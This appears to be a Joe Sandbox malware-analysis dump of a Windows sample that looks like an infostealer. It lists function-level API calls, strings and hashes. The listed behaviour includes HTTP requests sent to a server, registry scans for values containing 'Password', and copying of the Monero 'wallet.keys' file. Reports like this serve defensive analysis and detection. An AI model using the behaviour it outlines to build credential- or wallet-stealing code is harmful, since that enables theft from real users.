Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,041F36A0,00000000,?,041F81A8,00000000,?,0041E098,00000000,?,00410996), ref: 004053EB
lstrlen.KERNEL32(00000000), ref: 004053FF
GetProcessHeap.KERNEL32(00000000,?), ref: 00405410
HeapAlloc.KERNEL32(00000000), ref: 00405417
lstrlen.KERNEL32(00000000), ref: 0040542C
memcpy.MSVCRT ref: 00405443
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 0040545D
memcpy.MSVCRT ref: 0040546A
lstrlen.KERNEL32(00000000), ref: 0040547C
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405495
memcpy.MSVCRT ref: 004054A5
lstrlen.KERNEL32(00000000,?,?), ref: 004054C2
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004054D6
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00405501
InternetCloseHandle.WININET(00000000), ref: 00405565
InternetCloseHandle.WININET(00000000), ref: 00405572
InternetCloseHandle.WININET(00000000), ref: 0040557C

Strings

", xrefs: 00405136
------, xrefs: 004051AD
------, xrefs: 0040506B
------, xrefs: 004052EF
------, xrefs: 00404F4B
", xrefs: 004053BA
", xrefs: 00405278
J&f, xrefs: 00405029
--, xrefs: 00404F34

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------$J&f
API String ID: 2633831070-3705675087
Opcode ID: 9a72f97dd8b00e1372afdc8a2b1b03a2c1d95120a9669ee42c4e7e237aac3cad
Instruction ID: 5eac6181e64dcc8a416a420aa9bf91bf90c69560f183aa6c55bc1ab780bc5ff6
Opcode Fuzzy Hash: 9a72f97dd8b00e1372afdc8a2b1b03a2c1d95120a9669ee42c4e7e237aac3cad
Instruction Fuzzy Hash: 55324375920218ABCB14EBA1DC51FEEB779BF54704F40419EF10662091DF38AB89CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00405610 Relevance: 47.7, APIs: 19, Strings: 8, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004056A8
StrCmpCA.SHLWAPI(?,041F37A0), ref: 004056C3
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405843
lstrlen.KERNEL32(00000000,00000000,?,?,00000000,?,",00000000,?,041F36F0,00000000,?,041F81A8,00000000,?,0041E0D8), ref: 00405B1E
lstrlen.KERNEL32(00000000), ref: 00405B2F
GetProcessHeap.KERNEL32(00000000,?), ref: 00405B40
HeapAlloc.KERNEL32(00000000), ref: 00405B47
lstrlen.KERNEL32(00000000), ref: 00405B5C
memcpy.MSVCRT ref: 00405B73
lstrlen.KERNEL32(00000000), ref: 00405B85
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405B9E
memcpy.MSVCRT ref: 00405BAB
lstrlen.KERNEL32(00000000,?,?), ref: 00405BC8
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405BDC
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405BF9
InternetCloseHandle.WININET(00000000), ref: 00405C5D
InternetCloseHandle.WININET(00000000), ref: 00405C6A
HttpOpenRequestA.WININET(00000000,041F3600,?,041F89E0,00000000,00000000,00400100,00000000), ref: 004058A8

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

InternetCloseHandle.WININET(00000000), ref: 00405C74

Strings

-A, xrefs: 00405620, 00405D27, 00405623
", xrefs: 00405985
", xrefs: 00405AC6
------, xrefs: 004058BB
------, xrefs: 004059FC
------, xrefs: 00405746
J&f, xrefs: 00405878
-A, xrefs: 0040566F, 00405D14, 004056F7, 00405700, 0040576E, 004057E5, 004058E3, 00405A24, 00405771, 004057E8, 004058E6, 00405A27

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$-A$-A$J&f
API String ID: 148854478-1022722094
Opcode ID: 7227e4c7bb0658229b088806cf99446218fe04dc775902d63d9a1b08b8f75cce
Instruction ID: 38116f3ce93ed53bffdba46f35b2307ef6cb7c9f678a3856a9fc947e80efe624
Opcode Fuzzy Hash: 7227e4c7bb0658229b088806cf99446218fe04dc775902d63d9a1b08b8f75cce
Instruction Fuzzy Hash: A0125175920218AACB14EBA1DC95FDEB739BF14304F41429EF10A63091DF386B89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 0040A030 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00417070: StrCmpCA.SHLWAPI(00000000,0041DBD0,0040C8F2,0041DBD0,00000000), ref: 0041708F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A362
RtlAllocateHeap.NTDLL(00000000), ref: 0040A369
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A14A

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041F3440,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrcat.KERNEL32(?,00000000), ref: 0040A4AA
lstrcat.KERNEL32(?,0041DA80), ref: 0040A4B9
lstrcat.KERNEL32(?,00000000), ref: 0040A4CC
lstrcat.KERNEL32(?,0041DA84), ref: 0040A4DB
lstrcat.KERNEL32(?,00000000), ref: 0040A4EE
lstrcat.KERNEL32(?,0041DA88), ref: 0040A4FD
lstrcat.KERNEL32(?,00000000), ref: 0040A510
lstrcat.KERNEL32(?,0041DA8C), ref: 0040A51F
lstrcat.KERNEL32(?,00000000), ref: 0040A532
lstrcat.KERNEL32(?,0041DA90), ref: 0040A541
lstrcat.KERNEL32(?,00000000), ref: 0040A554
lstrcat.KERNEL32(?,0041DA94), ref: 0040A563

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrcat.KERNEL32(?,00000000), ref: 0040A5AC
lstrcat.KERNEL32(?,0041DA98), ref: 0040A5C6
lstrlen.KERNEL32(?), ref: 0040A605
lstrlen.KERNEL32(?), ref: 0040A614
memset.MSVCRT ref: 0040A65D

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

DeleteFileA.KERNEL32(00000000), ref: 0040A689

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: 9441de83010d804211ba2c91efd87ba17e13f51fe28cc11ac5193f2a5a82d0e2
Instruction ID: c7be15c6cc4abab23e8f274795eadccbdda502ec8511485448b77053ecd04baf
Opcode Fuzzy Hash: 9441de83010d804211ba2c91efd87ba17e13f51fe28cc11ac5193f2a5a82d0e2
Instruction Fuzzy Hash: B0029475900208ABCB14EBA1DC96EEE773ABF14305F11415EF507B6091DF38AE85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C640 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,041F8238,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040C6D3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040C817
RtlAllocateHeap.NTDLL(00000000), ref: 0040C81E
lstrcat.KERNEL32(?,00000000), ref: 0040C958
lstrcat.KERNEL32(?,0041DBD8), ref: 0040C967
lstrcat.KERNEL32(?,00000000), ref: 0040C97A
lstrcat.KERNEL32(?,0041DBDC), ref: 0040C989
lstrcat.KERNEL32(?,00000000), ref: 0040C99C
lstrcat.KERNEL32(?,0041DBE0), ref: 0040C9AB
lstrcat.KERNEL32(?,00000000), ref: 0040C9BE
lstrcat.KERNEL32(?,0041DBE4), ref: 0040C9CD
lstrcat.KERNEL32(?,00000000), ref: 0040C9E0
lstrcat.KERNEL32(?,0041DBE8), ref: 0040C9EF
lstrcat.KERNEL32(?,00000000), ref: 0040CA02
lstrcat.KERNEL32(?,0041DBEC), ref: 0040CA11
lstrcat.KERNEL32(?,00000000), ref: 0040CA24
lstrcat.KERNEL32(?,0041DBF0), ref: 0040CA33

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041F3440,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

lstrlen.KERNEL32(?), ref: 0040CA7A
lstrlen.KERNEL32(?), ref: 0040CA89
memset.MSVCRT ref: 0040CAD2

Part of subcall function 00417070: StrCmpCA.SHLWAPI(00000000,0041DBD0,0040C8F2,0041DBD0,00000000), ref: 0041708F

DeleteFileA.KERNEL32(00000000), ref: 0040CAFE

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 091ace87055983cba41e323e99ff87893143086efc352c8c0baf1d062dbd0c7d
Instruction ID: d19a215fe10c8d685073d70632a82ede6d900fe39af11de2b9913f634a463049
Opcode Fuzzy Hash: 091ace87055983cba41e323e99ff87893143086efc352c8c0baf1d062dbd0c7d
Instruction Fuzzy Hash: B1E15275910208ABCB14EBA1DD96EEE773ABF14305F11415EF107B6091DF38AE85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404540 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004045D5
StrCmpCA.SHLWAPI(?,041F37A0), ref: 004045FA
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040477A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,0041D797,00000000,?,?,00000000,?,",00000000,?,041F3660), ref: 00404AA8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00404AC4
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404AD8
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404B09
InternetCloseHandle.WININET(00000000), ref: 00404B6D
InternetCloseHandle.WININET(00000000), ref: 00404B85
HttpOpenRequestA.WININET(00000000,041F3600,?,041F89E0,00000000,00000000,00400100,00000000), ref: 004047D5

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

InternetCloseHandle.WININET(00000000), ref: 00404B8F

Strings

", xrefs: 004048B2
------, xrefs: 00404929
------, xrefs: 0040467D
J&f, xrefs: 004047A5
------, xrefs: 004047E8
", xrefs: 004049F3

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$J&f
API String ID: 460715078-2398766951
Opcode ID: 274e3f792ec3db14fe8b5dc27bb16b9769716356b3fa8f20fb0828a67ad38914
Instruction ID: e2fbf7176fc7eb33215a1d8fdd4a82cafc16ed7ff926df7fa74fdc4e30892001
Opcode Fuzzy Hash: 274e3f792ec3db14fe8b5dc27bb16b9769716356b3fa8f20fb0828a67ad38914
Instruction Fuzzy Hash: F21252769102189ACB14EB91DC92FDEB739AF54308F51419EF10672491DF38AF89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00414AE0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 179
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

RegOpenKeyExA.KERNEL32(00000000,041D6220,00000000,00020019,00000000,0041D289), ref: 00414B41
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
wsprintfA.USER32 ref: 00414BF6
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
RegCloseKey.ADVAPI32(00000000), ref: 00414C29
RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Strings

?, xrefs: 00414B17
- , xrefs: 00414D40
%s\%s, xrefs: 00414BEA

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: ea198df32fb3f38c870a1feb3a56e4a9a70f91b3b2a48daf6e3f309b18a0f3c8
Instruction ID: fbc8112ab3bfbfb2fdc98052a2813d45c496b4d84dbcb1503bfdf8522ef193f5
Opcode Fuzzy Hash: ea198df32fb3f38c870a1feb3a56e4a9a70f91b3b2a48daf6e3f309b18a0f3c8
Instruction Fuzzy Hash: F1712A7590021C9BDB64DB60DD91FDA77B9BF88304F0086D9A109A6180DF74AFCACF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040F630 Relevance: 19.8, APIs: 13, Instructions: 298stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0040F667
strtok_s.MSVCRT ref: 0040FA8F

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041F3440,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 47233f5f2a6ac108ed9c2d40d7802ad1b122a578098b672625895cdb083911f5
Instruction ID: 2b3dd8003c7db60ae6f20250f168b485c10b0cdbdb2f80ad8031a0e3e82ebbeb
Opcode Fuzzy Hash: 47233f5f2a6ac108ed9c2d40d7802ad1b122a578098b672625895cdb083911f5
Instruction Fuzzy Hash: B4C1A7B5900619DBCB24EF60DC89FDA7779AF58304F00459EE40DA7191DB34AAC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004012D0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004012E7

Part of subcall function 00401260: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 00401274
Part of subcall function 00401260: HeapAlloc.KERNEL32(00000000), ref: 0040127B
Part of subcall function 00401260: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00401297
Part of subcall function 00401260: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012B5
Part of subcall function 00401260: RegCloseKey.ADVAPI32(?), ref: 004012BF

lstrcat.KERNEL32(?,00000000), ref: 0040130F
lstrlen.KERNEL32(?), ref: 0040131C
lstrcat.KERNEL32(?,.keys), ref: 00401337

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,041F8238,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401425

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

DeleteFileA.KERNEL32(00000000), ref: 004014A9
memset.MSVCRT ref: 004014D0

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,041F37A0), ref: 00404ED9

Strings

SOFTWARE\monero-project\monero-core, xrefs: 004012F5
wallet_path, xrefs: 004012F0
.keys, xrefs: 0040132B
\Monero\wallet.keys, xrefs: 0040134D

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$lstrlen$AllocCloseHeapLocalOpenmemset$ChangeCopyCreateDeleteFindFreeInternetNotificationProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2054947926-218353709
Opcode ID: cc506cc900b1d8de20fb67180724c8fe89b673c0262401868f97255737152c4b
Instruction ID: 465d6e3be360dc7981781b6de12631b9db2cd28431e3bfe2701297f35846b4c8
Opcode Fuzzy Hash: cc506cc900b1d8de20fb67180724c8fe89b673c0262401868f97255737152c4b
Instruction Fuzzy Hash: DD5123B195021897CB15EB61DD92BED773D9F54304F4041EDB60A62091DE385BC5CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00406FA0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406CA0: memset.MSVCRT ref: 00406CE4
Part of subcall function 00406CA0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00406D0A
Part of subcall function 00406CA0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00406D81
Part of subcall function 00406CA0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00406DDD
Part of subcall function 00406CA0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E22
Part of subcall function 00406CA0: HeapFree.KERNEL32(00000000,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E29

lstrcat.KERNEL32(30AB5020,0041DEB8), ref: 00406FD6
lstrcat.KERNEL32(30AB5020,00000000), ref: 00407018
lstrcat.KERNEL32(30AB5020, : ), ref: 0040702A
lstrcat.KERNEL32(30AB5020,00000000), ref: 0040705F
lstrcat.KERNEL32(30AB5020,0041DEC0), ref: 00407070
lstrcat.KERNEL32(30AB5020,00000000), ref: 004070A3
lstrcat.KERNEL32(30AB5020,0041DEC4), ref: 004070BD
task.LIBCPMTD ref: 004070CB

Strings

h0A, xrefs: 00406FA6, 00406FA9
`v@, xrefs: 00406FAF, 004070C8, 00406FFE, 00407034, 0040707C, 00407045, 00406FB2
: , xrefs: 0040701E

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: : $`v@$h0A
API String ID: 3191641157-3559972273
Opcode ID: 90ba860eb88153124b5ff0dd3d9899c95f8f381682475dbda3cd4adffff03995
Instruction ID: d9fe8ddf8edd41d5d79e2c2aa3549d60ad86c8a123fe42dd1537da3b5299582f
Opcode Fuzzy Hash: 90ba860eb88153124b5ff0dd3d9899c95f8f381682475dbda3cd4adffff03995
Instruction Fuzzy Hash: 4B318371E05504ABCB14EBA0DD99EFF7B75BF44305B104519F102BB290DA38BD46CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00415710 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

image/jpeg, xrefs: 00415836

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID:
String ID: image/jpeg
API String ID: 0-3785015651
